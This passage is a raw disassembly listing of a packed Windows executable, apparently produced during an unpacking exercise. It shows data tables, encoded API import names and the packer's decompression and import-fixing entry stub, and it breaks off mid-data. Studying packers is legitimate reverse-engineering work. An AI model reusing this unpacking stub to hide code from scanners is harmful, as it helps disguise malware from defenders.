sub_40E2E2+55r ; sub_40E2E2+9Ao word_481DAA dw 0 ; DATA XREF: sub_40E2E2+48r db 2 dup(0) word_481DAE dw 0 ; DATA XREF: sub_40E2E2+3Br word_481DB0 dw 0 ; DATA XREF: sub_40E2E2+2Er word_481DB2 dw 0 ; DATA XREF: sub_40E2E2+21r align 8 dword_481DB8 dd 0 ; DATA XREF: sub_40E6E9+3Br ; sub_40E6E9+91w dword_481DBC dd 0 ; DATA XREF: sub_40DE14+2Bw ; sub_40E0C3+1B9w ... dword_481DC0 dd 0 ; DATA XREF: sub_40DE14+35w ; sub_412BBE:loc_412C58w ... dword_481DC4 dd 0 ; DATA XREF: sub_4157AA+13Ar dword_481DC8 dd 0A28h ; DATA XREF: sub_40EB84+52w dword_481DCC dd 501h ; DATA XREF: sub_40EB84+49w dword_481DD0 dd 5 ; DATA XREF: sub_40EB84+3Ew dword_481DD4 dd 1 ; DATA XREF: sub_40EB84+30w dword_481DD8 dd 1 ; DATA XREF: sub_407041:loc_407324r ; sub_414034+91w dword_481DDC dd 340B20h ; DATA XREF: sub_407041+2ECr ; sub_407041+30Cr ... dd 0 dword_481DE4 dd 340B48h ; DATA XREF: sub_413F7B+44w ; sub_416D53+9r ... dword_481DE8 dd 0 ; DATA XREF: sub_40C2A4+16o ; sub_40C2C3+19o ... dword_481DEC dd 0 ; DATA XREF: sub_40C257+3Do ; sub_416D53+16r ... dd 0 off_481DF4 dd offset aCM_unpackerPac ; DATA XREF: sub_414034+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_481DFC db 0 ; DATA XREF: sub_40E7D4+2Dw ; sub_414A88+5r align 10h dword_481E00 dd 0 ; DATA XREF: sub_40E7D4+27w dword_481E04 dd 0 ; DATA XREF: sub_40E7D4+4r ; sub_40E7D4+8Bw dword_481E08 dd 0 ; DATA XREF: sub_40EB84+84w ; sub_413F7B:loc_413F8Dr ... align 10h dword_481E10 dd 0 ; DATA XREF: sub_40EC7Ar sub_40EC9Fr ... dword_481E14 dd 0 ; DATA XREF: sub_40CCCFr ; sub_40DB08:loc_40DC24r ... dword_481E18 dd 0 ; DATA XREF: sub_410093r dword_481E1C dd 0 ; DATA XREF: sub_410F61+4Bw ; sub_41107A+2Dw ... dword_481E20 dd 0 ; DATA XREF: sub_411EAC+11r ; sub_411FB0+1Ar ... byte_481E24 db 0 ; DATA XREF: sub_411EAC+3r ; sub_411EAC+98r ... align 4 dword_481E28 dd 0 ; DATA XREF: sub_411FB0+11r ; sub_41208E+21w ... byte_481E2C db 0 ; DATA XREF: sub_41208E+51w align 10h dword_481E30 dd 0 ; DATA XREF: sub_412284+4Er ; sub_41265F+3Ar ... dword_481E34 dd 0 ; DATA XREF: sub_412284+5Cr ; sub_41265F+43r ... dword_481E38 dd 0 ; DATA XREF: sub_40D142+7Ar ; sub_41242B+5r dword_481E3C dd 0 ; DATA XREF: sub_412A3C+29r dword_481E40 dd 1 ; DATA XREF: sub_413455+28r ; sub_413455+4Cw ... dd 2 dup(0) dword_481E4C dd 0 ; DATA XREF: sub_40E530+4r ; sub_40E530+9Dr ... dd 3 dup(0) dword_481E5C dd 0 ; DATA XREF: sub_413455+C0r ; sub_413812+3Ar ... dd 0 dword_481E64 dd 1 ; DATA XREF: sub_413679:loc_4137F4r ; sub_413812+4w ... dword_481E68 dd 0 ; DATA XREF: sub_413AE3+37r align 10h dword_481E70 dd 0 ; DATA XREF: sub_413D9F+3Ar ; sub_413D9F+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414034:loc_41404Bo ; .nsp0:off_481DF4o align 10h dd 3Ah dup(0) dword_481F78 dd 1 ; DATA XREF: sub_414281+2r ; sub_414281+23w ... dword_481F7C dd 0 ; DATA XREF: sub_414640+21r dword_481F80 dd 0 ; DATA XREF: sub_413078+154w ; sub_413AE3:loc_413B0Cw ... align 8 word_481F88 dw 0 ; DATA XREF: sub_415259+1Ao ; sub_415259+46r byte_481F8A db 0 ; DATA XREF: sub_415259+39r align 4 dword_481F8C dd 7 dup(0) ; DATA XREF: sub_415259+52o dword_481FA8 dd 0 ; DATA XREF: sub_415259+40w ; sub_415259+5Co dword_481FAC dd 0 ; DATA XREF: sub_415259+4Dw dword_481FB0 dd 0 ; DATA XREF: sub_415259+31w dword_481FB4 dd 0 ; DATA XREF: sub_415259+52w dword_481FB8 dd 77C26E79h ; DATA XREF: sub_41537C:loc_41539Fr ; sub_41537C+38r ... dword_481FBC dd 1 ; DATA XREF: sub_415447+26r ; sub_415447:loc_4154B1w dword_481FC0 dd 0 ; DATA XREF: sub_413078+7r align 8 dword_481FC8 dd 0 ; DATA XREF: sub_415A78+11w ; sub_415A78+63w ... align 10h dword_481FD0 dd 0 ; DATA XREF: sub_415A78+33o ; sub_415A78+46r dword_481FD4 dd 10h dup(0) ; DATA XREF: sub_415A78+C1o word_482014 dw 0 ; DATA XREF: sub_415CD6+A8r word_482016 dw 0 ; DATA XREF: sub_415A78+54r ; sub_415CD6+DBr ... word_482018 dw 0 ; DATA XREF: sub_415CD6+CAr word_48201A dw 0 ; DATA XREF: sub_415CD6+D3r ; sub_415CD6:loc_415DC8r word_48201C dw 0 ; DATA XREF: sub_415CD6+C0r word_48201E dw 0 ; DATA XREF: sub_415CD6+B8r word_482020 dw 0 ; DATA XREF: sub_415CD6+B0r word_482022 dw 0 ; DATA XREF: sub_415CD6+9Er dword_482024 dd 0 ; DATA XREF: sub_415A78+4Br dword_482028 dd 10h dup(0) ; DATA XREF: sub_415A78+FBo word_482068 dw 0 ; DATA XREF: sub_415CD6+46r word_48206A dw 0 ; DATA XREF: sub_415A78:loc_415AEFr ; sub_415CD6+78r ... word_48206C dw 0 ; DATA XREF: sub_415CD6+67r word_48206E dw 0 ; DATA XREF: sub_415CD6+70r ; sub_415CD6:loc_415D5Ar word_482070 dw 0 ; DATA XREF: sub_415CD6+5Dr word_482072 dw 0 ; DATA XREF: sub_415CD6+55r word_482074 dw 0 ; DATA XREF: sub_415CD6+4Dr word_482076 dw 0 ; DATA XREF: sub_415CD6+3Er dword_482078 dd 0 ; DATA XREF: sub_415A78+80r dword_48207C dd 0 ; DATA XREF: sub_415A78+132r ; sub_415A78:loc_415BC4r ... dword_482080 dd 0 ; DATA XREF: sub_415A63r sub_415A63+Ew dword_482084 dd 0 ; DATA XREF: sub_416004+3r ; sub_416004+2Ew ... dword_482088 dd 0 ; DATA XREF: sub_416004+43w ; sub_416004:loc_416053r dword_48208C dd 0 ; DATA XREF: sub_416004+4Aw ; sub_416004+60r dword_482090 dd 0 ; DATA XREF: sub_416A9B:loc_416B02r ; sub_416A9B+6Do dword_482094 dd 0 ; DATA XREF: sub_416A9B:loc_416AD9r ; sub_416A9B+44o dword_482098 dd 0 ; DATA XREF: sub_416A9B:loc_416ACCr ; sub_416A9B+37o dword_48209C dd 0 ; DATA XREF: sub_416A9B:loc_416AE6r ; sub_416A9B+51o dd 0 dword_4820A4 dd 0 ; DATA XREF: sub_4157AA+3Fr dword_4820A8 dd 0 ; DATA XREF: sub_41718F+28r ; sub_41718F+48w ... byte_4820AC db 1 ; DATA XREF: sub_402951r sub_402951+9w ... align 10h dword_4820B0 dd 341110h ; DATA XREF: sub_412D3C:loc_412D4Dr ; sub_4131E8+14r ... align 10h dword_4820C0 dd 400h dup(0) ; DATA XREF: .nsp0:off_422390o ; .nsp0:00422398o dword_4830C0 dd 200h ; DATA XREF: sub_412D3C+9r ; sub_412D3C+56r ... dd 7 dup(0) dword_4830E0 dd 340650h ; DATA XREF: sub_40ECC3+B1r ; sub_412DA9+75r ... dword_4830E4 dd 3Fh dup(0) ; DATA XREF: sub_4143B3+92o dword_4831E0 dd 20h ; DATA XREF: sub_412BBE+8r ; sub_412E82+Cr ... dword_4831E4 dd 4E4h ; DATA XREF: sub_413679+14r ; sub_413679+65w ... align 10h dword_4831F0 dd 3 dup(0) ; DATA XREF: sub_413679+123o ; sub_413679+171o ... dword_4831FC dd 0 ; DATA XREF: sub_413679+108w ; sub_413679+15Dw ... byte_483200 db 0 ; DATA XREF: sub_4138B8:loc_4139C4w ; sub_4138B8:loc_4139E1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_483300 db 0 ; DATA XREF: sub_413679+5Co ; sub_413679+AFo ... byte_483301 db 0 ; DATA XREF: sub_40E887+5Dr ; sub_413679+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_483404 dd 0 ; DATA XREF: sub_413679+6Ew ; sub_413679+12Bw ... dword_483408 dd 0 ; DATA XREF: sub_410280+3Cw ; sub_410925+5r ... dword_48340C dd 0 ; DATA XREF: sub_4102F3+23Ar ; sub_4102F3+25Ar ... dword_483410 dd 0 ; DATA XREF: sub_410280+31w ; sub_4102F3+311w ... dword_483414 dd 0 ; DATA XREF: sub_410280+21w ; sub_4102F3+22Dr ... dword_483418 dd 0 ; DATA XREF: sub_410280+28w ; sub_4102C8r ... dword_48341C dd 0 ; DATA XREF: sub_410280+15w ; sub_4102C8+8r ... dword_483420 dd 0 ; DATA XREF: sub_40CD0D+Fr ; sub_40DB08+5Cr ... dword_483424 dd 340000h ; DATA XREF: sub_40CD0D+66r ; sub_40CD81+5Ar ... dword_483428 dd 1 ; DATA XREF: sub_40CD0Dr sub_40CD81+Cr ... dword_48342C dd 142340h ; DATA XREF: sub_40EB84+7Aw ; sub_413F23+Fr ... dword_483430 dd 1 ; DATA XREF: sub_413F7B+ADw ; sub_416D53r dword_483434 dd 1 ; DATA XREF: sub_413A3Dr ; sub_413A3D+11w ... dword_483438 dd 340764h ; DATA XREF: sub_40D7A3+13r ; sub_40D7A3:loc_40D7E5r ... dword_48343C dd 340758h ; DATA XREF: sub_40D7A3+1r ; sub_40D7A3+Cr ... byte_483440 db 1 ; DATA XREF: sub_417A34+15r ; sub_417A34+1Ew align 4 dd 2EFh dup(0) dd 71h, 0 dd 18000h, 0D02E683Ch, 662EF992h, 0E79C6CEBh, 0E1313D06h dd 99377DE6h, 1A1F0049h, 0FC897506h, 63B8B55Bh, 0D8FC378Ch dd 146093FDh, 9776906Fh, 96D9E21Ah, 0CE2434ABh, 0B7B4904Ch dd 56289D57h, 0FEC45B13h, 0EB06061Ah, 2F3E97F8h, 387A083Dh dd 260B5E86h, 6960A34h, 0F90582F2h, 81033F9Fh, 2E1B184h dd 1577E677h, 2100h, 0D00h, 1818400h, 5ADA3600h, 0F88DE2CEh dd 908D5D46h, 90F4226Dh, 71AB1B7Bh, 5, 3 dup(0) dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 45746553h dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 4341656Ch dd 61706D6Fh, 74536572h, 676E6972h, 6D6F4357h, 65726170h dd 69727453h, 5341676Eh, 6E457465h, 46664F64h, 46656C69h dd 6873756Ch, 656C6946h, 66667542h, 53737265h, 74537465h dd 6E614864h, 47656C64h, 74537465h, 676E6972h, 65707954h dd 74654757h, 69727453h, 7954676Eh, 49416570h, 64614273h dd 65646F43h, 49727450h, 64614273h, 64616552h, 53727450h dd 6E557465h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h dd 746C6946h, 65477265h, 6C694674h, 70795465h, 74654765h dd 48647453h, 6C646E61h, 74655365h, 646E6148h, 6F43656Ch dd 47746E75h, 6E457465h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 656C5357h, 65477065h, 73614C74h, 72724574h dd 7243726Fh, 65746165h, 65726854h, 65476461h, 646F4D74h dd 46656C75h, 4E656C69h, 41656D61h, 74697845h, 65726854h dd 654C6461h, 43657661h, 69746972h, 536C6163h, 69746365h dd 6E456E6Fh, 43726574h, 69746972h, 536C6163h, 69746365h dd 65476E6Fh, 63695474h, 756F436Bh, 6E49746Eh, 61697469h dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 416E6F69h dd 7053646Eh, 6F436E69h, 44746E75h, 74656C65h, 69724365h dd 61636974h, 6365536Ch, 6E6F6974h, 4C746547h, 6C61636Fh dd 656D6954h, 72657551h, 72655079h, 6D726F66h, 65636E61h dd 6E756F43h, 51726574h, 79726575h, 66726550h, 616D726Fh dd 4665636Eh, 75716572h, 79636E65h, 74697845h, 636F7250h dd 43737365h, 74616572h, 6F725065h, 73736563h, 6F6C4341h dd 61486573h, 656C646Eh, 74697257h, 6C694665h, 65724365h dd 46657461h, 41656C69h, 53746547h, 65747379h, 7269446Dh dd 6F746365h, 4C417972h, 4C64616Fh, 61726269h, 47417972h dd 72507465h, 6441636Fh, 73657264h, 74654773h, 75646F4Dh dd 6148656Ch, 656C646Eh, 726F4641h, 4D74616Dh, 61737365h dd 47416567h, 61626F6Ch, 6C6E556Ch, 476B636Fh, 61626F6Ch dd 636F4C6Ch, 6D6E556Bh, 69567061h, 664F7765h, 656C6946h dd 5670614Dh, 4F776569h, 6C694666h, 65724365h, 46657461h dd 4D656C69h, 69707061h, 5341676Eh, 69467465h, 6954656Ch dd 6547656Dh, 6C694674h, 6D695465h, 70784565h, 45646E61h dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 65534173h dd 6C694674h, 74744165h, 75626972h, 41736574h, 46746547h dd 41656C69h, 69727474h, 65747562h, 65474173h, 6D655474h dd 74615070h, 69574168h, 68436564h, 6F547261h, 746C754Dh dd 74794269h, 6C754D65h, 79426974h, 6F546574h, 65646957h dd 72616843h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 72655473h dd 616E696Dh, 72506574h, 7365636Fh, 65704F73h, 6F72506Eh dd 73736563h, 56746547h, 69737265h, 78456E6Fh, 74654741h dd 69676F4Ch, 446C6163h, 65766972h, 6C654473h, 46657465h dd 41656C69h, 43746547h, 65727275h, 7250746Eh, 7365636Fh dd 43644973h, 4679706Fh, 41656C69h, 74696157h, 53726F46h dd 6C676E69h, 6A624F65h, 43746365h, 74616572h, 74754D65h dd 4D417865h, 4665766Fh, 41656C69h, 626F6C47h, 654D6C61h dd 79726F6Dh, 74617453h, 65477375h, 6D695474h, 726F4665h dd 4174616Dh, 44746547h, 46657461h, 616D726Fh, 65544174h dd 6E696D72h, 54657461h, 61657268h, 61654864h, 6C6C4170h dd 6548636Fh, 72467061h, 74526565h, 776E556Ch, 48646E69h dd 52706165h, 6C6C4165h, 6547636Fh, 6D695474h, 6E6F5A65h dd 666E4965h, 616D726Fh, 6E6F6974h, 53746547h, 65747379h dd 6D69546Dh, 74654765h, 72617453h, 49707574h, 416F666Eh dd 43746547h, 616D6D6Fh, 694C646Eh, 4741656Eh, 65567465h dd 6F697372h, 7465476Eh, 69766E45h, 6D6E6F72h, 56746E65h dd 61697261h, 41656C62h, 70616548h, 74736544h, 48796F72h dd 43706165h, 74616572h, 72695665h, 6C617574h, 65657246h dd 74726956h, 416C6175h, 636F6C6Ch, 61427349h, 69725764h dd 74506574h, 69615272h, 78456573h, 74706563h, 486E6F69h dd 53706165h, 52657A69h, 46646165h, 4C656C69h, 70614D43h dd 69727453h, 4C41676Eh, 70614D43h, 69727453h, 4757676Eh dd 50437465h, 6F666E49h, 41746547h, 65475043h, 4D454F74h dd 65535043h, 6C694674h, 696F5065h, 7265746Eh, 61686E55h dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch dd 65657246h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h dd 46417367h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh dd 676E6972h, 65475773h, 766E4574h, 6E6F7269h, 746E656Dh dd 69727453h, 0FF73676Eh, 80000074h, 73FFh, 0AFF80h, 2FF8000h dd 0FF800000h, 8000000Dh, 1FFh, 0BFF80h, 9FF8000h, 0FF800000h dd 80000004h, 15FFh, 10FF80h, 3FF8000h, 0FF800000h, 80000017h dd 13FFh, 12FF80h, 97FF8000h, 800000h, 264h dup(0) _nsp0 ends ; Section 2. (virtual address 00085000) ; Virtual size : 00010000 ( 65536.) ; Section size in file : 00010000 ( 65536.) ; Offset to raw data for section: 00085000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 485000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 84000h, 0 dd 40h, 0 dd 71AB0000h, 7 dup(0) dd 340000h, 0 dd offset sub_401000 align 8 dd 86Ah, 0 dd 111h, 6 dup(0) dd 2, 168h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 0ECE1h, 3 dup(0) dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h dd 77E75CB5h, 0 dd 71AB1836h, 4 dup(0) dd 850FCh, 8509Ch, 3 dup(0) dd 85109h, 850B8h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h dd 636F7250h, 737365h, 20020000h, 0 dd 16Eh, 2000010h, 0E8000000h, 19h, 4B000180h, 1C9F8968h ; --------------------------------------------------------------------------- scasb mov gs, si ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 00485553 SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-117h] cmp byte ptr [ecx], 1 jz loc_4853EF mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-183h] mov [ebp-183h], eax add [ebp-153h], eax lea esi, [ebp-10Fh] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-0EBh] test eax, eax jz loc_485553 mov [ebp-15Bh], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_4854B4 pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-193h] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_485221 add edi, 4 mov ecx, 0 jmp short loc_485237 ; --------------------------------------------------------------------------- loc_485221: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_48522B: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_485264 add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_485237: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-0E7h] push dword ptr [ebp-0EBh] mov edx, esi mov ecx, edi mov eax, [ebp-15Bh] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_485264 add ebx, 8 jmp short loc_48522B ; --------------------------------------------------------------------------- loc_485264: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-15Bh] call dword ptr [ebp-0E7h] lea esi, [ebp-153h] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short loc_4852CB loc_48528C: ; CODE XREF: start+100j start+10Ej mov al, [edi] inc edi sub al, 0E8h loc_485291: ; CODE XREF: start+136j cmp al, 1 ja short loc_48528C mov eax, [edi] cmp byte ptr [edx+1], 0 jz short loc_4852B1 mov bl, [edx] cmp [edi], bl jnz short loc_48528C mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah jmp short loc_4852BB ; --------------------------------------------------------------------------- loc_4852B1: ; CODE XREF: start+108j mov bl, [edi+4] xchg al, ah rol eax, 10h xchg al, ah loc_4852BB: ; CODE XREF: start+11Cj sub eax, edi add eax, esi mov [edi], eax add edi, 5 sub bl, 0E8h mov eax, ebx loop loc_485291 loc_4852CB: ; CODE XREF: start+F7j call sub_48540A lea ecx, [ebp-13Fh] mov eax, [ecx+8] cmp eax, 0 jz loc_485363 mov esi, edx sub esi, [ecx+10h] jz short loc_485363 mov [ecx+10h], esi lea esi, [ebp-10Fh] mov esi, [esi] lea ebx, [esi-4] mov eax, [ecx] cmp eax, 1 jz short loc_485308 mov edi, edx add edi, [ecx+8] mov ecx, [ecx+10h] jmp short loc_485310 ; --------------------------------------------------------------------------- loc_485308: ; CODE XREF: start+169j mov edi, esi add edi, [ecx+8] mov ecx, [ecx+10h] loc_485310: ; CODE XREF: start+173j start+18Ej xor eax, eax mov al, [edi] inc edi or eax, eax jz short loc_485339 cmp al, 0EFh ja short loc_485323 loc_48531D: ; CODE XREF: start+19Dj start+1A4j add ebx, eax add [ebx], ecx jmp short loc_485310 ; --------------------------------------------------------------------------- loc_485323: ; CODE XREF: start+188j and al, 0Fh shl eax, 10h mov ax, [edi] add edi, 2 or eax, eax jnz short loc_48531D mov eax, [edi] add edi, 4 jmp short loc_48531D ; --------------------------------------------------------------------------- loc_485339: ; CODE XREF: start+184j xor ebx, ebx xchg edi, esi mov eax, [esi] cmp eax, 0 jz short loc_485363 loc_485344: ; CODE XREF: start+1BCj lodsd or eax, eax jz short loc_485351 add ebx, eax add [edi+ebx], cx jmp short loc_485344 ; --------------------------------------------------------------------------- loc_485351: ; CODE XREF: start+1B4j xor ebx, ebx shr ecx, 10h loc_485356: ; CODE XREF: start+1CEj lodsd or eax, eax jz short loc_485363 add ebx, eax add [edi+ebx], cx jmp short loc_485356 ; --------------------------------------------------------------------------- loc_485363: ; CODE XREF: start+149j start+154j ... lea esi, [ebp-183h] mov edx, [esi] lea esi, [ebp-127h] mov al, [esi] cmp al, 1 jnz short loc_4853B6 add edx, [esi+4] push esi push edx push esi push 4 push 100h push edx call dword ptr [ebp-0EFh] pop edi pop esi cmp eax, 1 jnz loc_485553 add esi, 8 mov ecx, 8 rep movsb sub esi, 0Ch sub edi, 8 push esi push dword ptr [esi-4] push 100h push edi call dword ptr [ebp-0EFh] loc_4853B6: ; CODE XREF: start+1E2j push ebp pop ebx sub ebx, 21h xor ecx, ecx mov cl, [ebx] cmp cl, 0 jz short loc_4853EF inc ebx lea esi, [ebp-183h] mov edx, [esi] loc_4853D0: ; CODE XREF: start+25Aj push esi push ecx push ebx push edx push esi push dword ptr [ebx] push dword ptr [ebx+4] mov eax, [ebx+8] add eax, edx push eax call dword ptr [ebp-0EFh] pop edx pop ebx pop ecx pop esi add ebx, 0Ch loop loc_4853D0 loc_4853EF: ; CODE XREF: start+14j start+232j mov eax, 0 cmp eax, 0 jz short loc_485403 popa popf mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_485403: ; CODE XREF: start+264j popa popf jmp sub_40EB84 start endp ; =============== S U B R O U T I N E ======================================= sub_48540A proc near ; CODE XREF: start:loc_4852CBp mov esi, [ebp-18Bh] or esi, esi jz loc_4854AF mov edx, [ebp-183h] add esi, edx loc_485420: ; CODE XREF: sub_48540A+61j cmp dword ptr [esi], 0 jnz short loc_485433 cmp dword ptr [esi+4], 0 jnz short loc_485433 cmp dword ptr [esi+8], 0 jnz short loc_485433 jmp short loc_4854AD ; --------------------------------------------------------------------------- loc_485433: ; CODE XREF: sub_48540A+19j ; sub_48540A+1Fj ... mov ebx, [esi+8] add ebx, edx push ebx push edx push esi lea edi, [ebp-97h] add edi, [esi+4] add esi, 0Ch push edi call dword ptr [ebp-0F7h] pop edi pop edx pop ebx cmp eax, 0 jz short loc_4854AF mov [ebp-17Bh], eax add edi, [esi] add esi, 4 loc_485461: ; CODE XREF: sub_48540A+A1j xor ecx, ecx mov cl, [esi] cmp ecx, 0 jnz short loc_48546D inc esi jmp short loc_485420 ; --------------------------------------------------------------------------- loc_48546D: ; CODE XREF: sub_48540A+5Ej mov eax, edi add edi, ecx push edx push ebx push eax cmp byte ptr [eax], 0FFh jnz short loc_485481 inc eax mov eax, [eax] and eax, 7FFFFFFFh loc_485481: ; CODE XREF: sub_48540A+6Dj mov cl, [edi] mov byte ptr [edi], 0 push ecx push eax push dword ptr [ebp-17Bh] call dword ptr [ebp-0F3h] pop ecx pop edx pop ebx pop edx cmp eax, 0 jz short loc_4854AF mov [edi], cl mov [esi-4], eax push dword ptr [esi-4] pop dword ptr [ebx] add ebx, 4 inc esi jmp short loc_485461 ; --------------------------------------------------------------------------- loc_4854AD: ; CODE XREF: sub_48540A+27j clc retn ; --------------------------------------------------------------------------- loc_4854AF: ; CODE XREF: sub_48540A+8j ; sub_48540A+4Aj ... jmp loc_485553 sub_48540A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4854B4 proc near ; CODE XREF: start+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0048554F SIZE 00000004 BYTES push ebp mov ebp, esp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_4854C0: ; CODE XREF: sub_4854B4+12j movsb loc_4854C1: ; CODE XREF: sub_4854B4+34j ; sub_4854B4+7Dj call sub_485533 jnb short loc_4854C0 xor ecx, ecx call sub_485533 jnb short loc_4854EA xor eax, eax call sub_485533 jnb short loc_4854FB mov al, 10h loc_4854DC: ; CODE XREF: sub_4854B4+2Fj call sub_485533 adc al, al jnb short loc_4854DC jnz short loc_485528 stosb jmp short loc_4854C1 ; --------------------------------------------------------------------------- loc_4854EA: ; CODE XREF: sub_4854B4+1Bj call sub_48553F dec ecx loop loc_485507 mov eax, ebp call sub_48553D jmp short loc_485529 ; --------------------------------------------------------------------------- loc_4854FB: ; CODE XREF: sub_4854B4+24j lodsb shr eax, 1 jz short loc_48554F adc ecx, 2 mov ebp, eax jmp short loc_485529 ; --------------------------------------------------------------------------- loc_485507: ; CODE XREF: sub_4854B4+3Cj xchg eax, ecx dec eax shl eax, 8 lodsb mov ebp, eax call sub_48553D cmp eax, 7D00h jnb short loc_485527 cmp eax, 500h jnb short loc_485528 cmp eax, 7Fh ja short loc_485529 loc_485527: ; CODE XREF: sub_4854B4+65j inc ecx loc_485528: ; CODE XREF: sub_4854B4+31j ; sub_4854B4+6Cj inc ecx loc_485529: ; CODE XREF: sub_4854B4+45j ; sub_4854B4+51j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4854C1 sub_4854B4 endp ; =============== S U B R O U T I N E ======================================= sub_485533 proc near ; CODE XREF: sub_4854B4:loc_4854C1p ; sub_4854B4+16p ... add dl, dl jnz short locret_48553C mov dl, [esi] inc esi adc dl, dl locret_48553C: ; CODE XREF: sub_485533+2j retn sub_485533 endp ; =============== S U B R O U T I N E ======================================= sub_48553D proc near ; CODE XREF: sub_4854B4+40p ; sub_4854B4+5Bp xor ecx, ecx sub_48553D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_48553F proc near ; CODE XREF: sub_4854B4:loc_4854EAp inc ecx loc_485540: ; CODE XREF: sub_48553F+Dj call sub_485533 adc ecx, ecx call sub_485533 jb short loc_485540 retn sub_48553F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4854B4 loc_48554F: ; CODE XREF: sub_4854B4+4Aj pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_4854B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_485553: ; CODE XREF: start+51j start+1FDj ... push 0 call dword ptr [ebp-0E3h] retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- inc dword ptr [eax] mov edx, [ecx] cmp edx, [ecx+4] jnz short loc_48556F mov dword ptr [ecx+eax*2], 2300110h or al, 0FFh retn ; --------------------------------------------------------------------------- loc_48556F: ; CODE XREF: .nsp1:00485563j pop es mov al, [edx] inc edx mov [ecx], edx pusha mov eax, [esp+4] sbb al, 83h popa adc [ebx], dh or [ebx+eax*4], cl push esi push ds and [ebx], al rol byte ptr [ecx+49h], 1 or bh, bh push 5 jmp short loc_48559E ; --------------------------------------------------------------------------- db 58h dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh db 0C1h, 0E2h ; --------------------------------------------------------------------------- loc_48559E: ; CODE XREF: .nsp1:0048558Dj or [ebx], cl retn 3E4Eh ; --------------------------------------------------------------------------- db 89h dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh, 1D83E82Bh dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh, 4F97F28Ch dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch dd 46893140h, 0F566C0BCh, 